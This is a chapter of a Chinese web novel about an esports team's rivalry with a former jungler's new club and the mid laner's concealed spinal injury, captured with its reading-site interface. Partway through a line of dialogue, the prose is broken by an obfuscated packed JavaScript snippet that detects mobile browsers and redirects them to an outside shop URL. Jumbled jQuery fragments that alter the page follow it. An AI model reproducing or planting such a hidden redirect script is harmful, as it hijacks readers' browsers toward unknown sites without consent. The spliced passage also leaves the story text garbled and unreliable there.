默认冷灰
24号文字
方正启体

20. 第 20 章

作者:两幻本书字数:K更新时间:
    宋澈还以为下路组会在外面玩疯了,结果收假日一到辅助便拎着AD早早回来了,倒是看上去很靠谱的上单,大抵是老友相聚难得,直到暮色降临才姗姗踏进宿舍。


    队长大人秉公执法道,“这次表扬扶砚和冬均,批评Carpet选手和Aatrox选手。”


    上单合掌认错。


    莫名躺枪的宋澈申请验牌,“予辞哥,不公平,为什么还有我?”


    李扶砚幸灾乐祸,“该玩的时候不好好玩,偷偷内卷让你的队友没法做人,现在还想蒙混过关?支持予辞哥点破工贼真面目!”


    宋澈说,“恩怨局前我想多做准备。”


    “害,不用太在意卫教练说的所谓恩怨,细数起来,NPG欠的债早就是举世皆敌了。”


    “嗯?”


    事先声明,宋澈不害怕强大的对手和高压环境,但对招猫逗狗没有一丁点兴趣。


    举世皆敌,能奈我何!


    但请问为什么要举世皆敌啊?


    “你难道不关注赛场舆论吗?这梗太老了我不想说,但求你通通网吧。”李扶砚摆着手指头数,“NPG前年爆冷输弱队害BLZ去不了世界赛,夺第二冠时破了WMS的S赛卫冕梦,疯抬工资帽导致AUR冠军班底原地解散,给LGE送了两组青训生搞乱引援计划,打哭PEC小太子气的人家远走外赛区,跟IRT更是联赛早年的老对手......”


    叽里呱啦可汗大点兵!


    细数下来但凡在联赛前列排上号过的队伍,就没有NPG没糟蹋过的。


    “哦对了,今年还新增一个QST,咱们把他们当家选手兼队长挖走了。”


    周衡笑眯眯地示意。


    自从回来起便心情极佳的林冬均给他科普,“下场要打的UNG上赛季实力相当强,联赛内部谁碰谁死。但S赛时他们被欧美队的黑科技初见杀爆冷淘汰,一场内战都没打过。我们夺冠之后,他们粉丝就认定NPG这个冠军是偷来的没有含金量,一来二去就吵起来了。”


    宋澈还真不清楚NPG还打过这种欠条,“我还以为是因为Arrival转会去了UNG。”


    李扶砚的脸色一下黑了,“你别提他,那个大沙壁完全风了。”


    林冬均说,“你要是对这个感兴趣就去问问予辞哥,予辞哥出道起就在NPG,对这些事肯定最清楚。”


    “抱歉——”


    “胡说八道——”


    中单和打野的声音撞在一起,两人都顿了下,谢予辞才说道,“抱歉,我还真的不太了解。”


    李扶砚狗腿道,“就是,冬均,予辞哥心思都在比赛上,哪有时间关注有的没的。”


    好一场酣畅淋漓的舔门大成功。


    谢予辞出乎宋澈意料地吃这套,怪害羞道,“没有,我只是不太关心咱们队外的选手,游戏只要自己打得满意就够了。”


    宋澈定定地盯着中单,不知道在想些什么。


    不容他多想,第二天的训练教练和监督都在,狠狠给玩野了的选手们上了一波强度。


    陈监督亲自切换到数据分析页面,“Arrival,NPG的前任打野,是这次打UNG要注意的关键。”


    宋澈微微绷紧身体。


    “UNG在联赛内的状态一向很好,而封临对我们辅助游走配合中野发力的打法很熟悉,也是我们必须面对的现实。”


    屏幕上播放着UNG选手们的操作集锦,宋澈看着录像想象着周末的比赛。


    谢予辞说,“我们也不是没有优势,小澈的加入让我们的体系焕然一新,这是他们没有见过的。太依赖经验只会聪明反被聪明误。”


    几人的目光转向了宋澈,其中有期待也有审视。


    “你不会害怕了吧?”辅助张嘴就是经典高血压反问。


    “扶砚哥,我最近状态好,我可以Carry你。”


    “大人说话小孩别插嘴。”


    “别害怕,你来之前我们就打不过UNG,这回控制变量法可行不通。”谢予辞笑道,“到时候要怪就怪这几个世界冠军。”


    “予辞,你别把我算进去,去年QST也被虐了两回。”周衡煞有其事地附和。


    训练赛在松快的气氛中开始,俗话说做事张弛有度能事半功倍,宋澈能感受到今天整个队伍格外专注。


    最明显的变化来自林冬均,ADC不再像之前那样急躁,操作更加稳健,教练和监督没挑出什么错处。


    “Nice,冬均,这波处理得很好。”李扶砚游戏中从来不吝夸奖。


    “还行吧。”


    宋澈看到酷酷的AD嘴角抑制不住地上扬。


    休息时宋澈去茶水间倒水,走廊里很安静,不料刚走到茶水间门口,他就听到里面传来陈监督和青训教练的对话声。


    “那这批青训生怎么处理?”青训教练的声音有些犹豫。


    宋澈停下脚步,手握着水杯,不知道该进去还是离开。


    “直接通知他们收拾东西走人。”陈监督的声音冷淡得完全不是平时在队员面前的样子。


    “可是有几个小孩他们也挺努力的......”


    “努力?那你倒是让他们说,下至Staff上至一队谁不够拼命?”陈监督不客气地打断,“再者说,训练时那副嬉皮笑脸的样子,配称得上一句努力吗。说到底还是去年临时提Arrival的事开了个坏头,让他们心思都野了。”


    “NPG是唯一给青训生发工资的队伍,这或许让有些人把我们当成了慈善机构。但你得知道,我们每个月花大价钱养着青训,不是要把精力投入到这些上线一眼能看到头的选手上。”


    青训教练短暂权衡后似乎妥协了,“也罢,让他们早点认清现实也是好事。与其在这里浪费时间,不如早点找其他出路。”


    宋澈悄悄离开了茶水间。


    他其实见过Arrival,封临。封临跟他同一年来到青训,年纪却比他大两岁,因此从一开始在队内培养顺位中就排在他后面。


    之后青训内部考评中,宋澈在打野的综合素质上胜于封临,并作为青训队首发打野占据了谢予辞最多的精力。


    两人的差距逐渐明显,但封临却并没有放弃,即使作为青训替补也要留下,默默地磨炼着自己。


    客观上讲宋澈是捡漏才回了NPG,但他此前的确没怎么把封临的事放在心上,也从未有过危机感。


    自从回家以来,陈监督的话第一次让他升起不安的念头。


    NPG的温暖难道只属于有价值的人吗?


    各有心思的训练结束后,李扶砚私下找到了谢予辞。


    辅助的表情有些严肃。


    “予辞哥,我有件事想跟你说。”李扶砚压低了声音。


    “什么事?”谢予辞停下收拾外设的动作,转身看向他。


    “是关于宋澈的,上次你让我最近多留意他的状态,我觉得他可能在网恋。”


    中单的手一抖,差点把鼠标碰掉。


    “怎、为什么这么说?”


    “他最近总是抱着手机给同一个人发消息,聊天框一直置顶。而且表情很恶心,打着打着字一会黯然神伤一会傻乐,跟神经病似的。”


    中单闻言没有立刻起身,他右手撑着桌沿,左手反过去按住腰,慢悠悠地吐字,“辛苦你了扶砚,但先别直接跟小澈说,他压力太大。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278604|198312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我会找时间跟他谈谈的。”


    李扶砚扶住他,“你没事吧予辞哥?”


    “呜,就是坐麻了。”


    李扶砚正色,“予辞哥,你每天跟教练组一起讨论战术已经够累了,放心把剩下三个累赘交给我就好。”


    谢予辞看着目前队伍中陪自己时间最长的辅助,“你也是,扶砚,我们的赛季才刚刚开始。”


    那天陈铎把片子和诊断递给谢予辞。


    “腰椎峡部裂后造成的滑脱。”


    医生写了一大堆看不懂的术语和鬼画符,简单来说就是长期维持坐姿造成了疲劳性骨折,骨头裂了后没发现还在继续打,最后椎骨失去支撑从原本的位置往前滑。


    “予辞,我希望你能休赛去做全面治疗。”这话本不应该由身为队伍管理层的监督来说,“它已经严重影响你的生活了。”


    谢予辞摇头,“春季赛还不行,T杯时我见过二队打中单的那个孩子,他顶不住这三十天。”


    他自己意识到自己不是普通的肌肉疲劳是在S赛决赛的第四局。


    经过四十多分钟的鏖战,NPG凭借中单发条的远古龙团一拉三扳回一城,连失两分后终于将比分稳到2:2。双方回到同一起跑线,预备在战歌声中展开场惊心动魄的BO1。


    11月初天气转冷,谢予辞有点感冒,起身回准备间前没忍住打了个喷嚏。


    霎时,从腰一路到右边小腿全麻了。


    倒不至于说痛到忍不了,在粉丝们面前失态,但他站不起来了。


    一旁的打野发觉不对,小心翼翼地等待他发话。


    他亲眼看到了自己的队员们为这天付出了多少,赛训组殚精竭虑,加之抽签机缘巧合,NPG时隔多年回到决赛舞台。


    距离夺冠仅剩一步之遥。


    谢予辞深呼吸,“没事,腿坐麻了,有点疼,阿临扶我一下吧。”


    他们赢下了决胜局。


    满天金雨中,谢予辞强撑着将冠军奖杯举过头顶。


    发表FMVP的获奖感言时,一向沉稳端重的中单竟有些语无伦次。


    赛后,战队方从队医口中得知这一消息后,立马通知相关的教练和工作人员,坚决不能跟任何人透露谢予辞腰伤加剧。


    谢予辞是NPG的金字招牌,一旦他爆出伤病消息,不管是要坐替补席还是休赛治疗,都很不利于新赛季招商引资。


    可惜百密一疏,管理层忘记了嘱咐打野。


    谢予辞休赛期回忆时也察觉不妥,当时他为了能站稳,把大部分的重量撑在了打野身上,是个正常人都会疑惑。


    他还没来得及去私下找对方谈谈,便接到了Arrival要转会去UNG的消息。


    坊间传闻Arrival接了个UNG的四年大合同。


    四年,对于保质期短的打野,几乎是买断了最巅峰的几年生涯。


    论坛里骂什么的都有,谢予辞看了只想叹气,心知肚明封临为什么毅然决然地出走。


    他断定Vale要因伤退役了。


    NPG几年前为了续约Vale开了个天价合同,直接提升了赛区选手们的工资水平。业内的评价很客观,实际上大部分的选手并不值那么多钱。


    Vale退役后这份虚假繁荣很快会化作泡影。


    封临想在Vale养伤消息公布的恐慌前,给自己找个稳定舒服的去处,谢予辞没有任何立场能够指摘他。


    随后队伍为了补缺签下了Carpet,想起这个孩子,谢予辞更是一阵头大。


    他精心制定的“现实中给足关心的同时让Quietus变得很讨厌”计划可谓不见丝毫成效,纯属浪费时间。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)